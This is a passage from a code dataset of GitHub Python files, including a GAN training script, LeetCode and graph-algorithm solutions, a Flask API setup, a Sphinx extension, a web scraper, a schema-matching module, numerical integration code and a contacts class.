.img:\")\n\t\tconf[\"general\"][\"media_types\"]=new_media_types.split(\",\")\n\n\twindows_or_mac=user_input(\"Is this a mac or windows system?[M/W]:\")\n\tconf['os_cmds']['os']=windows_or_mac\n\n\treturn windows_or_mac","repo_name":"xxdunedainxx/python_media_mover","sub_path":"util/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4033561249","text":"import torch # для работы с данными\nfrom torchvision.datasets import ImageFolder # для загрузки данных\nfrom torch.utils.data import DataLoader # для деления данных на батчи при обучении\n\nfrom tools import tools # составные архитектуры\nimport tools.data_preparation as dp # для обработки данных\nimport tools.losses as loss # для функций ошибки\nimport torchvision.transforms as tt # для обработки данных\nimport time # для оценки времени\n\n\n# CONFIGURATION\n# ----------------------\ndata_path = './dataset/val' # path of dataset folder\ntransform = True # random transformation of data\n\ngen_type = 1 # 0 - big, 1 - light\n\nload_models = False # load learned models and continue learning\ngen_path = './models/lgen.pth' # generator path (for load_models = True)\ndis_path = './models/backup/backup_d0.pth' # discriminator path (for load_models = True)\n\npart = 0.2 # part of the data on which the model is training [0; 1]\nepochs = 15\nbatch_size = 8\nmax_steps = 2**32 # max steps of optimisation\n\nlr_gen = 1e-4 # learning rates for generator and discriminator\nlr_dis = 1e-4\n\nbackup = False # make backups\nbackup_rate = 2 # how much epochs for another backup\nbackup_dis = False # save discriminator in backup\n\nshow_est_time = True # estimate learning time on start\n# ----------------------\n\ndata = ImageFolder(data_path, transform=tt.Compose([\n tt.ToTensor()\n]))\n\n\nif not load_models:\n dis = tools.Discriminator()\n if gen_type == 0:\n gen = tools.Generator()\n else:\n gen = tools.Generator1()\nelse:\n gen = torch.load('models/lgen.pth', map_location='cpu')\n dis = torch.load('models/lgen.pth', map_location='cpu')\n\ndata = dp.split(data, transform=transform, info=True)\n\ndevice = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\ngen = dp.move_to(gen, device)\ndis = dp.move_to(dis, device)\n\n\npart_learn = int(len(data) * part)\n\nif batch_size > part_learn:\n raise(Exception(\"Batch size more than data\"))\n\nx_loader = DataLoader(data[:part_learn], batch_size=batch_size, drop_last=False, shuffle=True)\n\ngen_optim = torch.optim.Adam(gen.parameters(), lr=lr_gen)\ndis_optim = torch.optim.Adam(dis.parameters(), lr=lr_dis)\n\ngen_loss, dis_loss = 0, 0\n\nprint(\">>>>>>>>>>>>>\")\nprint(f\"images: {part_learn}\")\n\nsteps = 0\nstart_time = time.time()\nfor epoch in range(epochs):\n if steps >= max_steps:\n break\n epoch_start_time = time.time()\n if not show_est_time:\n print(\">> \", epoch, \" | \", sep=\"\", end=\"\")\n for data in x_loader:\n if steps >= max_steps:\n print(\"Finished due to max steps limit\")\n break\n\n data = dp.move_to(data, device)\n X = data[:, 0]\n y = data[:, 1]\n\n dis_optim.zero_grad()\n dis_loss = loss.discriminator_loss(X, y, gen, dis)\n dis_loss.backward()\n dis_optim.step()\n\n gen_optim.zero_grad()\n gen_loss = loss.generator_loss(X, y, gen, dis)\n gen_loss.backward()\n gen_optim.step()\n\n del data, X, y\n\n if show_est_time:\n show_est_time = False\n batch_time = time.time() - start_time\n batches = part_learn // batch_size\n epoch_time = batches * batch_time\n total_time = epoch_time * epochs\n\n print(\"Estimated time:\")\n print(f\"batch: {batch_time}s\")\n print(f\"epoch: {epoch_time}s\")\n print(f\"total: {total_time}s\")\n print(\">> \", epoch, \" | \", sep=\"\", end = \"\")\n\n if backup and (epoch + 1) % backup_rate == 0:\n torch.save(gen, \"models/backup/backup_g\" + str(epoch // backup_rate) + \".pth\")\n if backup_dis:\n torch.save(dis, \"models/backup/backup_d\" + str(epoch // backup_rate) + \".pth\")\n\n print(f'finished with Gen Loss: {float(gen_loss)} '\n f',Dis Loss: {float(dis_loss)} ({int(time.time()-epoch_start_time)}s)')\n\ntorch.save(gen, 'models/lgen.pth')\ntorch.save(dis, 'models/dis.pth')\n","repo_name":"pear2jam/pix2pix","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7428704307","text":"\"\"\"Given an integer array nums, move all 0's to the end of it while maintaining the relative order of the non-zero elements.\n\nNote that you must do this in-place without making a copy of the array.\n\n\"\"\"\n\nclass Solution:\n def moveZeroes(self, nums):\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n \n ## solution 1\n # new_nums = []\n # for i in range(len(nums)):\n # # print(i)\n # if nums[i] > 0:\n # new_nums.append(nums[i])\n \n # zeros = len(nums) -len(new_nums)\n # print(zeros)\n \n # for i in range(zeros):\n # new_nums.append(0)\n \n ## solution 2\n # zeros = nums.count(0)\n # for i in range(zeros):\n # nums.append(0)\n # nums.remove(0)\n \n ## solution 3 two pointer\n \n n = len(nums)\n right = left = 0\n \n for i in range(n):\n # print(f'right = {right} left= {left}')\n \n if nums[right] != 0:\n if nums[left] == 0:\n temp = nums[left]\n nums[left] = nums[right]\n nums[right] = temp\n left += 1\n else:\n left += 1\n print(nums)\n right += 1\n \n print(\"Left: {left} {right}\".format(left=left,right=right))\n \n\n \n return nums\n\nif __name__ == '__main__':\n s = Solution()\n assert s.moveZeroes([0,1,0,3,0]) == [1,3,0,0,0]\n assert s.moveZeroes([0,]) == [0]\n assert s.moveZeroes([1,0,1]) == [1,1,0], s.moveZeroes([1,0,1])\n assert s.moveZeroes([0,0,1]) == [1,0,0]\n assert (s.moveZeroes([1,0,0,1]) == [1,1,0,0])\n\n # print(s.moveZeroes([0,1,0,3,12]))\n","repo_name":"ChristineGoGo/leetcode-problems","sub_path":"283_move_zeroes.py","file_name":"283_move_zeroes.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4122974074","text":"from flask import Flask\nfrom config import Config\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_restful import Api\nfrom flask_jwt_extended import JWTManager\nfrom flask_migrate import Migrate\nfrom flask_cors import CORS\n\napp = Flask(__name__,\n static_folder=\"../dist/static\",\n template_folder=\"../dist\")\napi = Api(app)\ncors = CORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\n\napp.config.from_object(Config)\n\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\njwt = JWTManager(app)\n\n@jwt.token_in_blacklist_loader\ndef check_if_token_in_blacklist(decrypted_token):\n jti = decrypted_token['jti']\n return models.RevokedTokenModel.is_jti_blacklisted(jti)\n\nfrom app import views, resources, models, parsers, services, exceptions, modules\n\napi.add_resource(resources.TutorRegistration, '/api/register/tutor')\napi.add_resource(resources.StudentRegistration, '/api/register/student')\napi.add_resource(modules.UserLogin, '/api/login')\napi.add_resource(modules.UserLogoutAccess, '/api/logout/access')\napi.add_resource(modules.UserLogoutRefresh, '/api/logout/refresh')\napi.add_resource(modules.TokenRefresh, '/api/token/refresh')\napi.add_resource(resources.TutorHome, '/api/tutor/home')\napi.add_resource(resources.Progress, '/api/tutor//')\napi.add_resource(resources.Checkpoints, '/api/tutor///checkpoints')\napi.add_resource(resources.GroupCpProgress, '/api/tutor///')\napi.add_resource(resources.StudentHome, '/api/student/home')\napi.add_resource(resources.SubjectProgress, '/api/student/')","repo_name":"UtfCube/t","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18407974283","text":"# Sphinx extension defining the fetch_md directive\n#\n# Goal:\n# include the content of a given markdown file\n#\n# Usage:\n# .. fetch_md:: path/to/file.md\n# the filepath is relative to the project base directory\n#\n# Note:\n# some markdown files contain links to other files that belong to the project\n# since those links are relative to the file location, they are no longer valid in the new context\n# therefore we try to update these links but it is not always possible\n\nimport os\nfrom docutils.nodes import SparseNodeVisitor\nfrom docutils.parsers.rst import Directive\nfrom utils import md_to_docutils, get_link_key\n\n\nclass Relinker(SparseNodeVisitor):\n\n def relink(self, node, base_dir):\n key = get_link_key(node)\n if key is None:\n return\n link = node.attributes[key]\n if link.startswith('http') or link.startswith('mailto'):\n return\n if link.startswith('/'):\n link = link[1:]\n node.attributes[key] = base_dir+'/'+link\n\n def visit_image(self, node):\n self.relink(node, os.getenv('PROJECT_DIR'))\n\n\nclass FetchMd(Directive):\n\n required_arguments = 1\n\n def run(self):\n path = os.path.abspath(os.getenv('PROJECT_DIR')+'/'+self.arguments[0])\n result = []\n try:\n with open(path) as file:\n text = file.read()\n doc = md_to_docutils(text)\n relinker = Relinker(doc)\n doc.walk(relinker)\n result.append(doc[0])\n except FileNotFoundError:\n pass\n return result\n\n\ndef setup(app):\n app.add_directive('fetch_md', FetchMd)\n\n return {\n 'version': '0.1',\n 'parallel_read_safe': True,\n 'parallel_write_safe': True\n }\n","repo_name":"alicevision/Meshroom","sub_path":"docs/source/_ext/fetch_md.py","file_name":"fetch_md.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":10013,"dataset":"github-code","pt":"21"} +{"seq_id":"21047840745","text":"# pip install selenium\nfrom selenium import webdriver as wd\nimport time\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nfrom operator import itemgetter\nimport sys\nimport glob\nimport os\n\n# 망고플레이트 들어가기\nMAIN_URL='http://www.mangoplate.com/'\ndriver = wd.Chrome('/Users/kimchaeyeon/py_project/py_test/chromedriver.exe')\ndriver.get(MAIN_URL)\ndriver.implicitly_wait(0.5)\n\n# 역 불러오기\nsubName= input('역이름 입력')\ndriver.find_element_by_id('main-search').send_keys(subName)\ndriver.find_element_by_class_name('btn-search').click()\npage=driver.current_url\nhtml=urlopen(page)\nsoup=BeautifulSoup(html,\"html.parser\")\nmarket_lists= soup.find_all('h2',{'class':'title'})\n\nmarket_names = [ i.text for i in market_lists ]\nprint(market_names)\n\nmax_index=len(market_names)\noutput_file=sys.argv[1]\nfilewriter=open(output_file,'a') #append\nfor i in range(max_index):\n if i<(max_index-1):\n filewriter.write(str(market_names[i])+',')\n else:\n filewriter.write(str(market_names[i])+'\\n')\nfilewriter.close()\nprint('Output')\n\n","repo_name":"kimchaeyeon/deliStation-project","sub_path":"크롤링csv/subwaySearch.py","file_name":"subwaySearch.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16092336377","text":"def alienDict(words : 'list[str]') -> str:\n # set for every character\n adj = {c:set() for w in words for c in w}\n\n for i in range(len(words)-1): # for every pair\n w1, w2 = words[i], words[i + 1]\n minLen = min(len(w1), len(w2))\n if len(w1) > len(w2) and w1[:minLen] == w2[:minLen]:\n return \"\"\n for j in range(minLen):\n if w1[j] != w2[j]:\n adj[w1[j]].add(w2[j])\n break\n \n visited = {} # False - visited, True - visited and in current path, Not here - not visited\n res = []\n\n def dfs (c):\n if c in visited:\n return visited[c]\n \n visited[c] = True\n \n for neighbor in adj[c]:\n if dfs(neighbor):\n return True\n\n visited[c] = False\n res.append(c)\n \n for c in adj:\n if dfs(c):\n return \"\"\n \n res.reverse()\n return \"\".join(res)\n \n \nprint(alienDict([\"wrt\", \"wrf\", \"er\", \"ett\", \"rftt\"]))","repo_name":"tyren234/codes","sub_path":"python/blind75/alien_dictionary/alien_dictionary.py","file_name":"alien_dictionary.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6244300088","text":"'''Tools for representing sets of sequences via sequence operators and\nsets of sequence items. The main idea is that a set of sequences is\nthe result of a (flattened) Cartesian product over a sequence of sets.\n'''\n\nfrom copy import copy\nfrom syn.five import xrange, SET, STR\nfrom syn.base import Attr, init_hook, Base, ListWrapper\nfrom syn.tree import Node\nfrom syn.type import Type as Type_\nfrom syn.sets import SetNode, Union, Product, SetWrapper, TypeWrapper\nfrom syn.base_utils import flattened, is_proper_sequence, IterableList, message\nfrom operator import itemgetter\nfrom functools import partial\n\nOAttr = partial(Attr, optional=True)\n\n#-------------------------------------------------------------------------------\n# Match\n\n\nclass Match(ListWrapper):\n # So that \"if pattern.match(...):\" can be used\n def __nonzero__(self):\n return True\n\n def __bool__(self):\n return True\n\n\n#-------------------------------------------------------------------------------\n# MatchFailure\n\n\nclass MatchFailure(Base):\n _attrs = dict(message = Attr(STR, doc='Reason for failure'),\n seq = Attr(IterableList, \n doc='The sequence that failed to match'),\n fails = OAttr(list, doc='List of sub-failures'))\n _opts = dict(init_validate = True)\n\n # So that \"if pattern.match(...):\" can be used\n def __nonzero__(self):\n return False\n\n def __bool__(self):\n return False\n\n\n#-------------------------------------------------------------------------------\n# MatchFailed\n\n\nclass MatchFailed(Exception):\n def __init__(self, msg, seq, fails=None):\n super(MatchFailed, self).__init__(msg)\n self.seq = seq\n self.fails = fails if fails else []\n \n def failure(self):\n return MatchFailure(message=message(self), \n seq=self.seq, \n fails=self.fails)\n\n\n#-------------------------------------------------------------------------------\n# SchemaNode\n\n\nclass SchemaNode(Node):\n _aliases = dict(_list = ['elems'])\n _attrs = dict(set = Attr(SetNode, optional=True, internal=True,\n doc='Internal set representation'))\n _opts = dict(optional_none = True)\n\n def __init__(self, *args, **kwargs):\n lst = []\n for arg in args:\n if isinstance(arg, SchemaNode):\n lst.append(arg)\n elif isinstance(arg, (type, Type_)):\n lst.append(Type(arg))\n elif isinstance(arg, SetNode):\n lst.append(Set(arg))\n elif isinstance(arg, SET) or is_proper_sequence(arg):\n lst.append(Set(SetWrapper(arg)))\n else:\n lst.append(Set(SetWrapper([arg]))) # Create a singleton\n super(SchemaNode, self).__init__(*lst, **kwargs)\n\n\n#-------------------------------------------------------------------------------\n# Set\n\n\nclass Set(SchemaNode):\n _opts = dict(max_len = 0,\n args = ('set',))\n\n def __init__(self, *args, **kwargs):\n super(SchemaNode, self).__init__(*args, **kwargs)\n\n def match(self, seq, **kwargs):\n match = kwargs['match']\n\n try:\n seq.mark()\n item = next(seq)\n except StopIteration:\n raise MatchFailed('Sequence is too short', seq)\n\n if self.set.hasmember(item):\n match.append(item)\n else:\n seq.reset() # Correct the index for error display\n raise MatchFailed('Item not in set', seq)\n\n\n#-------------------------------------------------------------------------------\n# Type\n\n\nclass Type(Set):\n def __init__(self, arg, **kwargs):\n if not isinstance(arg, TypeWrapper):\n arg = TypeWrapper(arg)\n super(Type, self).__init__(arg, **kwargs)\n\n\n#-------------------------------------------------------------------------------\n# Or\n\n\nclass Or(SchemaNode):\n _opts = dict(min_len = 2)\n\n @init_hook\n def generate_set(self, **kwargs):\n sets = [c.set for c in self]\n self.set = Union(*sets)\n\n def match(self, seq, **kwargs):\n match = kwargs['match']\n mark = seq.position\n\n fails = []\n passed = False\n for elem in self.elems:\n match2 = copy(match)\n seq2 = seq.copy()\n kwargs['match'] = match2\n try:\n elem.match(seq2, **kwargs)\n passed = True\n match.extend(seq.take(seq2.position - mark))\n break\n except MatchFailed as e:\n fails.append(e.failure())\n\n if not passed:\n raise MatchFailed('Did not meet any Or conditions', seq, fails)\n\n\n#-------------------------------------------------------------------------------\n# Repeat\n\n\nclass Repeat(SchemaNode):\n _attrs = dict(lb = Attr(int, 0, 'Minimum number of times to repeat'),\n ub = OAttr(int, doc='Maximum number of times to repeat'),\n greedy = Attr(bool, True, 'Match as much as we can if True'))\n _opts = dict(min_len = 1,\n max_len = 1)\n\n A = property(itemgetter(0))\n\n @init_hook\n def generate_set(self, **kwargs):\n ub = self.ub if self.ub is not None else self.lb + 5\n\n sets = []\n for k in xrange(self.lb, ub + 1):\n if k == 0:\n sets.append(SetWrapper([()]))\n elif k == 1:\n sets.append(self.A.set)\n else:\n tmp = [self.A.set] * k\n sets.append(Product(*tmp))\n \n self.set = Union(*sets)\n\n def match(self, seq, **kwargs):\n mark = seq.position\n count = 0\n seq2 = seq.copy()\n match = kwargs['match']\n match2 = copy(match)\n kwargs['match'] = match2\n\n fails = []\n while True:\n try:\n self.A.match(seq2, **kwargs)\n count += 1\n match.extend(seq.take(seq2.position - mark))\n mark = seq.position\n \n if not self.greedy:\n if count >= self.lb:\n break\n\n if self.ub is not None:\n if count >= self.ub:\n break\n \n except MatchFailed as e:\n fails.append(e.failure())\n break\n \n if count < self.lb:\n raise MatchFailed('Did not match enough repetitions', seq, fails)\n\n def validate(self):\n super(Repeat, self).validate()\n\n if self.ub is not None:\n if self.lb > self.ub:\n raise ValueError('Lower bound greater than upper bound')\n \n\n#-------------------------------------------------------------------------------\n# Sequence\n\n\nclass Sequence(SchemaNode):\n '''Denotes a sequence. The only SchemaNode that can denote a sequence.'''\n _opts = dict(init_validate = True)\n\n @init_hook\n def generate_set(self, **kwargs):\n sets = [c.set for c in self]\n self.set = Product(*sets)\n\n def enumerate(self, **kwargs):\n '''Iterate through all possible sequences (lists). By default, will\n stop after 50 items have been yielded. This value can be\n change by supplying a different value via the max_enumerate kwarg.\n '''\n for item in self.set.enumerate(**kwargs):\n yield flattened(item)\n\n def get_one(self, **kwargs):\n '''Returns one possible sequence (list). May return the same value on\n multiple invocations.\n '''\n return flattened(self.set.get_one(**kwargs))\n\n def match(self, seq, **kwargs):\n '''If the schema matches seq, returns a list of the matched objects.\n Otherwise, returns MatchFailure instance.\n '''\n strict = kwargs.get('strict', False)\n top_level = kwargs.get('top_level', True)\n match = kwargs.get('match', list())\n\n if top_level:\n kwargs['top_level'] = False\n kwargs['match'] = match\n\n try:\n seq = IterableList(seq)\n self.match(seq, **kwargs)\n\n if strict:\n if not seq.empty():\n raise MatchFailed('Sequence is too long', seq)\n\n except MatchFailed as e:\n return e.failure()\n\n return Match(*match)\n\n for elem in self.elems:\n elem.match(seq, **kwargs)\n\n def sample(self, **kwargs):\n '''Returns one possible sequence (list). The selection is randomized.\n '''\n return list(self.set.sample(**kwargs))\n\n def validate(self):\n super(Sequence, self).validate()\n self.set.validate()\n\n\n#-------------------------------------------------------------------------------\n# Combinations\n\nOptional = partial(Repeat, lb=0, ub=1, greedy=True)\nOneOrMore = partial(Repeat, lb=1, greedy=True)\nZeroOrMore = partial(Repeat, lb=0, greedy=True)\n\n#-------------------------------------------------------------------------------\n# __all__\n\n__all__ = ('SchemaNode', 'Set', 'Type', 'Or', 'Repeat', 'Sequence',\n 'Match', 'MatchFailure', 'MatchFailed',\n 'Optional', 'OneOrMore', 'ZeroOrMore')\n\n#-------------------------------------------------------------------------------\n","repo_name":"mbodenhamer/syn","sub_path":"syn/schema/b/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":9334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31599562291","text":"import os\nimport yaml\nfrom easydict import EasyDict\n\ndef get_config(config_file):\n assert(os.path.isfile(config_file))\n with open(config_file, 'r') as cf:\n parsed_yaml = yaml.load(\n cf,\n Loader=yaml.FullLoader\n )\n return EasyDict(parsed_yaml)\n\n\ndef merge_configs(config_list):\n assert(len(config_list) > 0)\n merged_config = {}\n for cl in config_list:\n merged_config.update(cl)\n return EasyDict(merged_config)\n","repo_name":"healthonrails/annolid","sub_path":"annolid/utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"21"} +{"seq_id":"11624119770","text":"from math import sin, cos, pi, exp, fabs, pow\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nEps = 1e-7\r\n\r\nclass Integral:\r\n def __init__(self):\r\n self.n, self.m = 0, 0\r\n self.tau = 0\r\n self.a, self.b, self.c, self.d = 0, pi / 2, 0, pi / 2\r\n\r\n def func(self, tau, teta, phi):\r\n return (1 - exp(-tau * 2 * cos(teta) / (1 - pow(sin(teta), 2) * pow(cos(phi), 2)))) * cos(teta) * sin(teta)\r\n\r\n def inputParams(self):\r\n print(\"Input N: \", end = '')\r\n self.n = int(input())\r\n print(\"Input M: \", end = '')\r\n self.m = int(input())\r\n print(\"Input tau: \", end = '')\r\n self.tau = float(input())\r\n\r\n self.phiInit()\r\n\r\n def phiInit(self):\r\n self.phi = [0 for i in range(self.n)]\r\n piece = pi / 2 / self.n\r\n for i in range(self.n):\r\n self.phi[i] = piece * i\r\n\r\n def simpsonCalc(self):\r\n # print(\"Simpson\")\r\n h = (self.d - self.c) / (self.n - 1)\r\n res = 0\r\n\r\n for i in range(0, int(self.n / 2 - 1)):\r\n res += self.integrals[2 * i] + 4 * self.integrals[2 * i + 1] + self.integrals[2 * i + 2]\r\n # print(res)\r\n \r\n return res * h / 3 * 4 / pi #4/pi - коэф заданной функции\r\n\r\n def gaussCalc(self):\r\n # print(\"Gauss\")\r\n x = []\r\n xLen = 0\r\n step = 2.0 / self.m\r\n while (xLen < self.m):\r\n step /= 2.0\r\n xLen = 0\r\n a = -1 \r\n b = a + step\r\n while (a < 1):\r\n if self.legendrePolynomCalc(a, self.m) * self.legendrePolynomCalc(b, self.m) < 0:\r\n xLen += 1\r\n a = b\r\n b += step\r\n a = -1\r\n b = a + step\r\n i = 0\r\n while (a < 1 and i < self.m):\r\n if self.legendrePolynomCalc(a, self.m) * self.legendrePolynomCalc(b, self.m) < 0:\r\n x.append(self.bisection(a, b, self.m))\r\n i += 1\r\n a = b\r\n b += step\r\n rightSLAE = []\r\n for i in range(0, self.m):\r\n if (i % 2 == 0):\r\n rightSLAE.append(2.0 / (i + 1))\r\n else:\r\n rightSLAE.append(0)\r\n\r\n helpSLAE = [1 for i in range(self.m)]\r\n leftSLAE = [[] for i in range(self.m)]\r\n for i in range(self.m):\r\n for j in range(self.m):\r\n leftSLAE[i].append(helpSLAE[j])\r\n helpSLAE[j] *= x[j]\r\n\r\n rSLAE = np.asarray(rightSLAE)\r\n lSLAE = np.asarray(leftSLAE)\r\n\r\n weights = np.linalg.solve(lSLAE, rSLAE)\r\n # for i in range(self.m):\r\n # print(\"{0} \".format(weights[i]), end = '')\r\n # print(\"SLAE ok!\")\r\n\r\n for i in range(self.m):\r\n # M_PI_4 - узнать что за константа!!!!\r\n x[i] = pi / 4 * (1 + x[i])\r\n\r\n self.integrals = [0 for i in range(self.n)]\r\n for i in range(self.n):\r\n for j in range(self.m):\r\n self.integrals[i] += weights[j] * self.func(self.tau, x[j], self.phi[i])\r\n self.integrals[i] *= pi / 4\r\n # M_PI_4 - что за говно вообще??!??!?\r\n \r\n def bisection(self, left, right, n):\r\n middle = (left + right) / 2\r\n if fabs(self.legendrePolynomCalc(middle, n) < Eps):\r\n return middle\r\n\r\n if self.legendrePolynomCalc(left, n) * self.legendrePolynomCalc(middle, n) < 0:\r\n right = middle\r\n else:\r\n left = middle\r\n \r\n while (right - left > Eps):\r\n if fabs(self.legendrePolynomCalc(middle, n) < Eps):\r\n return middle\r\n\r\n if self.legendrePolynomCalc(left, n) * self.legendrePolynomCalc(middle, n) < 0:\r\n right = middle\r\n else:\r\n left = middle\r\n middle = (left + right) / 2\r\n return middle\r\n\r\n def legendrePolynomCalc(self, x, n):\r\n if n == 0:\r\n return 1\r\n \r\n if n == 1:\r\n return x\r\n\r\n leg0 = 1\r\n leg1 = x\r\n leg2 = 0\r\n\r\n for i in range(2, n + 1):\r\n leg2 = ((2 * i - 1) * x * leg1 - (i - 1) * leg0) / i\r\n leg0 = leg1\r\n leg1 = leg2\r\n\r\n return leg2\r\n \r\n def resPlot(self):\r\n self.equalN()\r\n self.difN()\r\n self.difNdifM()\r\n \r\n def equalN(self):\r\n tau = np.linspace(0, 10, 200)\r\n self.n = 5\r\n self.phiInit()\r\n\r\n self.m = 2\r\n res1 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res1.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res1, color = \"r\", label = \"N = 5, M = 2\")\r\n\r\n self.m = 3\r\n res2 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res2.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res2, color = \"g\", label = \"N = 5, M = 3\")\r\n\r\n self.m = 4\r\n res3 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res3.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res3, color = \"b\", label = \"N = 5, M = 4\")\r\n\r\n self.m = 5\r\n res4 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res4.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res4, color = \"y\", label = \"N = 5, M = 5\")\r\n \r\n plt.xlabel(\"Tau\")\r\n plt.ylabel(\"Result\")\r\n plt.grid()\r\n plt.title(\"Численное интегрирование\")\r\n plt.legend()\r\n plt.show()\r\n\r\n def difN(self):\r\n tau = np.linspace(0, 10, 200)\r\n self.n = 3\r\n self.phiInit()\r\n\r\n self.m = 2\r\n res1 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res1.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res1, color = \"r\", label = \"N = 3, M = 2\")\r\n\r\n self.m = 3\r\n res2 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res2.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res2, color = \"g\", label = \"N = 3, M = 3\")\r\n\r\n self.n = 5\r\n self.phiInit()\r\n\r\n self.m = 2\r\n res3 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res3.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res3, color = \"b\", label = \"N = 5, M = 2\")\r\n\r\n self.m = 3\r\n res4 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res4.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res4, color = \"y\", label = \"N = 5, M = 3\")\r\n \r\n plt.xlabel(\"Tau\")\r\n plt.ylabel(\"Result\")\r\n plt.grid()\r\n plt.title(\"Численное интегрирование\")\r\n plt.legend()\r\n plt.show()\r\n\r\n def difNdifM(self):\r\n tau = np.linspace(0, 10, 200)\r\n self.n, self.m = 3, 3\r\n self.phiInit()\r\n\r\n res1 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res1.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res1, color = \"r\", label = \"N = 3, M = 3\")\r\n\r\n self.n, self.m = 5, 5\r\n self.phiInit()\r\n\r\n res2 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res2.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res2, color = \"g\", label = \"N = 5, M = 5\")\r\n\r\n self.n, self.m = 7, 7\r\n self.phiInit()\r\n\r\n res3 = []\r\n for i in range(len(tau)):\r\n self.tau = i\r\n self.gaussCalc()\r\n res3.append(self.simpsonCalc())\r\n self.integrals.clear()\r\n plt.plot(tau, res3, color = \"b\", label = \"N = 7, M = 7\")\r\n\r\n plt.xlabel(\"Tau\")\r\n plt.ylabel(\"Result\")\r\n plt.grid()\r\n plt.title(\"Численное интегрирование\")\r\n plt.legend()\r\n plt.show()\r\n\r\nif __name__ == \"__main__\":\r\n calc = Integral()\r\n # calc.inputParams()\r\n # calc.gaussCalc()\r\n # res = calc.simpsonCalc() * 4 / pi\r\n # print(res)\r\n calc.resPlot()\r\n","repo_name":"sonyashka/bmstu-ca","sub_path":"lab_05/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23391831427","text":"from faker import Faker\r\nfake = Faker()\r\n\r\nimport logging\r\nlogging.basicConfig(level=logging.INFO)\r\n\r\n\r\nclass BaseContact:\r\n def __init__(self, name, surname, phone, email):\r\n self.name = name\r\n self.surname = surname\r\n self.phone = phone\r\n self.email = email\r\n\r\n #Values\r\n self._label_length = 0\r\n\r\n def __str__(self):\r\n return f'{self.name} {self.surname} {self.phone} {self.email}'\r\n\r\n def contact(self):\r\n print(f'Wybieram numer {self.phone} i dzwonię do {self.name} {self.surname}')\r\n\r\n @property\r\n def label_length(self):\r\n return self._label_length\r\n\r\n @label_length.setter\r\n def label_length(self, value):\r\n self._label_length = len(self.name) + len(self.surname)\r\n\r\n\r\nclass BusinessContact(BaseContact):\r\n def __init__(self, job_title, company, business_phone, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.job_title = job_title\r\n self.company = company\r\n self.business_phone = business_phone\r\n\r\n #Values\r\n self._label_length = 0\r\n\r\n def __str__(self):\r\n return f'{self.name} {self.surname} {self.phone} {self.email} {self.job_title} {self.company} {self.business_phone}'\r\n\r\n def contact(self):\r\n print(f'Wybieram numer {self.business_phone} i dzwonię do {self.name} {self.surname}')\r\n\r\n\r\ndef create_contacts(type, value):\r\n\r\n for i in range(value):\r\n random_person = BaseContact(name=fake.first_name(), surname=fake.last_name(), phone=fake.phone_number(), email=fake.ascii_email())\r\n\r\n if type == 1:\r\n print(random_person)\r\n random_person.contact()\r\n random_person._label_length = len(random_person.name) + len(random_person.surname) #Nie wiem dlaczego, ale bez tego ponownego przypisania wartości, random_person.label_length zwraca mi wartość bazową (0), tak jakby olewał @label_lenght.setter\r\n print(f'Długość imienia i nazwiska to: {random_person.label_length}')\r\n\r\n elif type == 2:\r\n random_person = BusinessContact(name=random_person.name, 